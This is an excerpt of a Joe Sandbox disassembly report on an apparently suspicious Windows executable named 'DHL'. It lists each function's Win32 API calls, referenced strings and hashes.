SetWindowTextW.USER32(00000000,?), ref: 00A05A72
GetDlgItem.USER32(?,000003E9), ref: 00A05A82
SetWindowTextW.USER32(00000000,?), ref: 00A05A88
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00A05AA9
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00A05AC3
GetWindowRect.USER32(?,?), ref: 00A05ACC
_wcslen.LIBCMT ref: 00A05B33
SetWindowTextW.USER32(?,?), ref: 00A05B6F
GetDesktopWindow.USER32 ref: 00A05B75
GetWindowRect.USER32(00000000), ref: 00A05B7C
MoveWindow.USER32(?,?,00000080,00000000,?,00000000), ref: 00A05BD3
GetClientRect.USER32(?,?), ref: 00A05BE0
PostMessageW.USER32(?,00000005,00000000,?), ref: 00A05C05
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00A05C2F

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer_wcslen
String ID:
API String ID: 895679908-0
Opcode ID: d5667a47468525d8ce58469373a4e25d8cf2f3b011c640d92e02a225d20b0b80
Instruction ID: 87d67c6e8d89e7295bf57a27317a8e1ea96352b14685591cfbc385c502e57f88
Opcode Fuzzy Hash: d5667a47468525d8ce58469373a4e25d8cf2f3b011c640d92e02a225d20b0b80
Instruction Fuzzy Hash: DB713931A00A09AFDB20DFB8DE8AAAFBBF5FF48714F104518E542A25A0D775E945CF50

Function 009C00C6 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 009C00C6

Part of subcall function 009C00ED: InitializeCriticalSectionAndSpinCount.KERNEL32(00A7070C,00000FA0,7C2D64ED,?,?,?,?,009E23B3,000000FF), ref: 009C011C
Part of subcall function 009C00ED: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,009E23B3,000000FF), ref: 009C0127
Part of subcall function 009C00ED: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,009E23B3,000000FF), ref: 009C0138
Part of subcall function 009C00ED: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 009C014E
Part of subcall function 009C00ED: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 009C015C
Part of subcall function 009C00ED: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 009C016A
Part of subcall function 009C00ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 009C0195
Part of subcall function 009C00ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 009C01A0

___scrt_fastfail.LIBCMT ref: 009C00E7

Part of subcall function 009C00A3: __onexit.LIBCMT ref: 009C00A9

Strings

api-ms-win-core-synch-l1-2-0.dll, xrefs: 009C0122
kernel32.dll, xrefs: 009C0133
WakeAllConditionVariable, xrefs: 009C0162
SleepConditionVariableCS, xrefs: 009C0154
InitializeConditionVariable, xrefs: 009C0148

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 66158676-1714406822
Opcode ID: 8a8c0cfd3e0f10c99c7d6fb338c52e749f4fb92f21c410d016e0304c52ea3bac
Instruction ID: c5a1f150d01331e04ddec4b027bd857207477625beaf7ad27ba6dc188f5bdaae
Opcode Fuzzy Hash: 8a8c0cfd3e0f10c99c7d6fb338c52e749f4fb92f21c410d016e0304c52ea3bac
Instruction Fuzzy Hash: 1621DA32E44710FFE7119BE4AC09F6977A8EB85FA5F04452DF805A3691DB749C008B51

Function 00A030F7 Relevance: 24.9, APIs: 8, Strings: 6, Instructions: 400COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00A0318D
_wcslen.LIBCMT ref: 00A031F8

Strings

TEXT, xrefs: 00A0347C
NAME, xrefs: 00A03335, 00A03346
REGEXPCLASS, xrefs: 00A03255, 00A03266
CLASS, xrefs: 00A03188, 00A031A5
CLASSNN, xrefs: 00A031F3, 00A03204
INSTANCE, xrefs: 00A03453

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: _wcslen
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 176396367-1603158881
Opcode ID: a97b8ecb28113726305fd2e8a5151475ed1be4433ae849a596006ee19cbdf857
Instruction ID: e43ad1d38c7e22060b1e7c630f46f2dc318d24c36db524ec5ed2cd0db89b332d
Opcode Fuzzy Hash: a97b8ecb28113726305fd2e8a5151475ed1be4433ae849a596006ee19cbdf857
Instruction Fuzzy Hash: 4CE1A533E0051AAFCF149F78D891BEEBBB8BF54750F548119E456B7290DB30AE458790

Function 00A144C0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(00000000,00000000,00A3CC08), ref: 00A14527
_wcslen.LIBCMT ref: 00A1453B
_wcslen.LIBCMT ref: 00A14599
_wcslen.LIBCMT ref: 00A145F4
_wcslen.LIBCMT ref: 00A1463F
_wcslen.LIBCMT ref: 00A146A7

Part of subcall function 009BF9F2: _wcslen.LIBCMT ref: 009BF9FD

GetDriveTypeW.KERNEL32(?,00A66BF0,00000061), ref: 00A14743

Strings

network, xrefs: 00A1469D, 00A146A2
unknown, xrefs: 00A14708
cdrom, xrefs: 00A1458F, 00A14594
fixed, xrefs: 00A14635, 00A1463A
all, xrefs: 00A14531, 00A14536
removable, xrefs: 00A145EA, 00A145EF
ramdisk, xrefs: 00A146F1

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: _wcslen$BuffCharDriveLowerType
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2055661098-1000479233
Opcode ID: dc4c656d0588993f9ed47521e6405259b18f7f4e6cf91e87d27ae65232ebb828
Instruction ID: fbb80558d18adca32af590a591310929a1cb57e7c56e580fb8d74ea1b7738b75
Opcode Fuzzy Hash: dc4c656d0588993f9ed47521e6405259b18f7f4e6cf91e87d27ae65232ebb828
Instruction Fuzzy Hash: FFB1BD716083129FC710DF2CC890AAAB7E5AFEA764F50491DF4A6C7291D730DC85CBA2

Function 00A2AFF9 Relevance: 24.4, APIs: 16, Instructions: 418processCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00A2B198
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00A2B1B0
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00A2B1D4
_wcslen.LIBCMT ref: 00A2B200
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00A2B214
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00A2B236
_wcslen.LIBCMT ref: 00A2B332

Part of subcall function 00A105A7: GetStdHandle.KERNEL32(000000F6), ref: 00A105C6

_wcslen.LIBCMT ref: 00A2B34B
_wcslen.LIBCMT ref: 00A2B366
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00A2B3B6
GetLastError.KERNEL32(00000000), ref: 00A2B407
CloseHandle.KERNEL32(?), ref: 00A2B439
CloseHandle.KERNEL32(00000000), ref: 00A2B44A
CloseHandle.KERNEL32(00000000), ref: 00A2B45C
CloseHandle.KERNEL32(00000000), ref: 00A2B46E
CloseHandle.KERNEL32(?), ref: 00A2B4E3

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
String ID:
API String ID: 2178637699-0
Opcode ID: f2ebd3138f55190fd784b41b801e6dba6bf0d8ca8142b97bfd20077c40a88b4c
Instruction ID: a553e90b227645c39315c47edd951adc06b96bdc55e22de95dd04807a0a59223
Opcode Fuzzy Hash: f2ebd3138f55190fd784b41b801e6dba6bf0d8ca8142b97bfd20077c40a88b4c
Instruction Fuzzy Hash: C8F19F31518310DFC714EF28D891B6EBBE5AF85710F14856DF8959B2A2DB31EC40CBA2

Function 009A326F Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 214windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(00A71990), ref: 009E2F8D
GetMenuItemCount.USER32(00A71990), ref: 009E303D
GetCursorPos.USER32(?), ref: 009E3081
SetForegroundWindow.USER32(00000000), ref: 009E308A
TrackPopupMenuEx.USER32(00A71990,00000000,?,00000000,00000000,00000000), ref: 009E309D
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 009E30A9

Strings

0, xrefs: 009A327D

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow
String ID: 0
API String ID: 36266755-4108050209
Opcode ID: 579ea66ae6a2eccdca0daaf006cd54b48b23fd5efae8f485e3091eabc2d12418
Instruction ID: be36fdc786203eb5e15338878a74b728a8d3474330cc6614802da50408b50f09
Opcode Fuzzy Hash: 579ea66ae6a2eccdca0daaf006cd54b48b23fd5efae8f485e3091eabc2d12418
Instruction Fuzzy Hash: A9711731640255BEEB228F65CC49FAABF6CFF05324F208216F9246A1E1C7B1AD50CB90

Function 00A36CD9 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 194windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?), ref: 00A36DEB

Part of subcall function 009A6B57: _wcslen.LIBCMT ref: 009A6B6A

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00A36E5F
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00A36E81
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00A36E94
DestroyWindow.USER32(?), ref: 00A36EB5
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,009A0000,00000000), ref: 00A36EE4
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00A36EFD
GetDesktopWindow.USER32 ref: 00A36F16
GetWindowRect.USER32(00000000), ref: 00A36F1D
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00A36F35
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00A36F4D

Part of subcall function 009B9944: GetWindowLongW.USER32(?,000000EB), ref: 009B9952

Strings

0, xrefs: 00A36D98
tooltips_class32, xrefs: 00A36E58, 00A36EDD

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_wcslen
String ID: 0$tooltips_class32
API String ID: 2429346358-3619404913
Opcode ID: 082e4404919c2bb01894310325b7cb734dc54139fb4e468bcdccae2c07831d93
Instruction ID: 4683bd54592ecd5ec86dd3dc043a50e1f7ff01758ce67f73ba35fdce001f96ea
Opcode Fuzzy Hash: 082e4404919c2bb01894310325b7cb734dc54139fb4e468bcdccae2c07831d93
Instruction Fuzzy Hash: 74717874104240AFDB21CF58DC44FAABBF9FB89314F14881DFA9997261C774E94ACB21

Function 00A3911E Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 009B9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 009B9BB2

DragQueryPoint.SHELL32(?,?), ref: 00A39147

Part of subcall function 00A37674: ClientToScreen.USER32(?,?), ref: 00A3769A
Part of subcall function 00A37674: GetWindowRect.USER32(?,?), ref: 00A37710
Part of subcall function 00A37674: PtInRect.USER32(?,?,00A38B89), ref: 00A37720

SendMessageW.USER32(?,000000B0,?,?), ref: 00A391B0
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00A391BB
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00A391DE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00A39225
SendMessageW.USER32(?,000000B0,?,?), ref: 00A3923E
SendMessageW.USER32(?,000000B1,?,?), ref: 00A39255
SendMessageW.USER32(?,000000B1,?,?), ref: 00A39277
DragFinish.SHELL32(?), ref: 00A3927E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00A39371

Strings

@GUI_DROPID, xrefs: 00A3929E
@GUI_DRAGFILE, xrefs: 00A39320
@GUI_DRAGID, xrefs: 00A392E9

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 221274066-3440237614
Opcode ID: 9d78a6cec9adcaed3dc64019caa26ca368fddd94ea78999c864bf75f9087b7b1
Instruction ID: 2a8f66402ed9f66f250678fe049c1a8f00f475e6fbe5816d4bf5a99437f5abaa
Opcode Fuzzy Hash: 9d78a6cec9adcaed3dc64019caa26ca368fddd94ea78999c864bf75f9087b7b1
Instruction Fuzzy Hash: B4612871108301AFD701DFA4DC89EAFBBE8FBC9760F00491DF595962A1DB709A49CB92

Function 00A1C476 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00A1C4B0
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 00A1C4C3
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 00A1C4D7
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00A1C4F0
InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 00A1C533
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00A1C549
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00A1C554
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00A1C584
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 00A1C5DC
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 00A1C5F0
InternetCloseHandle.WININET(00000000), ref: 00A1C5FB

Strings

, xrefs: 00A1C575

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
String ID:
API String ID: 3800310941-3916222277
Opcode ID: 6c3722ea59885ed8b018a5397f488842996aca929c30548c20f99c709f5dac00
Instruction ID: 4787bdf0654d4940ff3daec11707b98aafc7d2587a1478de5d5a643e9bcdc9b4
Opcode Fuzzy Hash: 6c3722ea59885ed8b018a5397f488842996aca929c30548c20f99c709f5dac00
Instruction Fuzzy Hash: 145139B5580308BFDB21DFA4CD88ABB7BBDFB08764F004419F946A6250DB34E9859B60

Function 00A3856F Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00000000,?,000000EC), ref: 00A38592
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00A385A2
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00A385AD
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00A385BA
GlobalLock.KERNEL32(00000000), ref: 00A385C8
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00A385D7
GlobalUnlock.KERNEL32(00000000), ref: 00A385E0
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00A385E7
CreateStreamOnHGlobal.OLE32(00000000,00000001,000000F0,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00A385F8
OleLoadPicture.OLEAUT32(000000F0,00000000,00000000,00A3FC38,?), ref: 00A38611
GlobalFree.KERNEL32(00000000), ref: 00A38621
GetObjectW.GDI32(?,00000018,?), ref: 00A38641
CopyImage.USER32(?,00000000,00000000,?,00002000), ref: 00A38671
DeleteObject.GDI32(?), ref: 00A38699
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00A386AF

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 892485ab1e69d8fe445b4818b2317b71bcd3fa105b996f41b0f237e9ca8cd39a
Instruction ID: 96fb0a8a0292b952b4d625d9cb6ad5efcd53e80fcc07b4cf718c8f531e455caf
Opcode Fuzzy Hash: 892485ab1e69d8fe445b4818b2317b71bcd3fa105b996f41b0f237e9ca8cd39a
Instruction Fuzzy Hash: 8E41F975600204AFDB11DFA5DC89EABBBBCFF89721F108159F905EB260DB349902DB60

Function 00A114BD Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 360timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00A11502
VariantCopy.OLEAUT32(?,?), ref: 00A1150B
VariantClear.OLEAUT32(?), ref: 00A11517
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 00A115FB
VarR8FromDec.OLEAUT32(?,?), ref: 00A11657
VariantInit.OLEAUT32(?), ref: 00A11708
SysFreeString.OLEAUT32(?), ref: 00A1178C
VariantClear.OLEAUT32(?), ref: 00A117D8
VariantClear.OLEAUT32(?), ref: 00A117E7
VariantInit.OLEAUT32(00000000), ref: 00A11823

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00A11625
Default, xrefs: 00A116AF

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 1234038744-3931177956
Opcode ID: 0b601a824a7c66f220663a553e288aedddbbf8fb307bbc443197a3dd95239c75
Instruction ID: 3a4b04f77d49f25abf83e86ab4e3d05f842ac84729800a44dc54ec277ac89096
Opcode Fuzzy Hash: 0b601a824a7c66f220663a553e288aedddbbf8fb307bbc443197a3dd95239c75
Instruction Fuzzy Hash: 5CD1F031A00515EBDB10DFA5D885BFDB7B6BF85720F108156F646AB280DB30ED81DBA2

Function 00A2B60E Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 285registrylibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 009A9CB3: _wcslen.LIBCMT ref: 009A9CBD

Part of subcall function 00A2C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00A2B6AE,?,?), ref: 00A2C9B5
Part of subcall function 00A2C998: _wcslen.LIBCMT ref: 00A2C9F1
Part of subcall function 00A2C998: _wcslen.LIBCMT ref: 00A2CA68
Part of subcall function 00A2C998: _wcslen.LIBCMT ref: 00A2CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00A2B6F4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00A2B772
RegDeleteValueW.ADVAPI32(?,?), ref: 00A2B80A
RegCloseKey.ADVAPI32(?), ref: 00A2B87E
RegCloseKey.ADVAPI32(?), ref: 00A2B89C
LoadLibraryA.KERNEL32(advapi32.dll), ref: 00A2B8F2
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00A2B904
RegDeleteKeyW.ADVAPI32(?,?), ref: 00A2B922
FreeLibrary.KERNEL32(00000000), ref: 00A2B983
RegCloseKey.ADVAPI32(00000000), ref: 00A2B994

Strings

RegDeleteKeyExW, xrefs: 00A2B8FE
advapi32.dll, xrefs: 00A2B8ED

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: _wcslen$Close$DeleteLibrary$AddressBuffCharConnectFreeLoadOpenProcRegistryUpperValue
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 146587525-4033151799
Opcode ID: c33be82b815eb6faed3ac9685e01470eaa56045b29ad945c005459fa53f9f835
Instruction ID: 89db6cef1781d1baf23fd2e688580ae91fe0ccfec362f8ecac50a7aab4e5f591
Opcode Fuzzy Hash: c33be82b815eb6faed3ac9685e01470eaa56045b29ad945c005459fa53f9f835
Instruction Fuzzy Hash: 17C1AE34214211AFD714DF18D895F2ABBE5FF85318F14846CF59A8B2A2CB35EC46CBA1

Function 00A2255C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00A225D8
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00A225E8
CreateCompatibleDC.GDI32(?), ref: 00A225F4
SelectObject.GDI32(00000000,?), ref: 00A22601
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 00A2266D
GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 00A226AC
GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 00A226D0
SelectObject.GDI32(?,?), ref: 00A226D8
DeleteObject.GDI32(?), ref: 00A226E1
DeleteDC.GDI32(?), ref: 00A226E8
ReleaseDC.USER32(00000000,?), ref: 00A226F3

Strings

(, xrefs: 00A2268D

Memory Dump Source

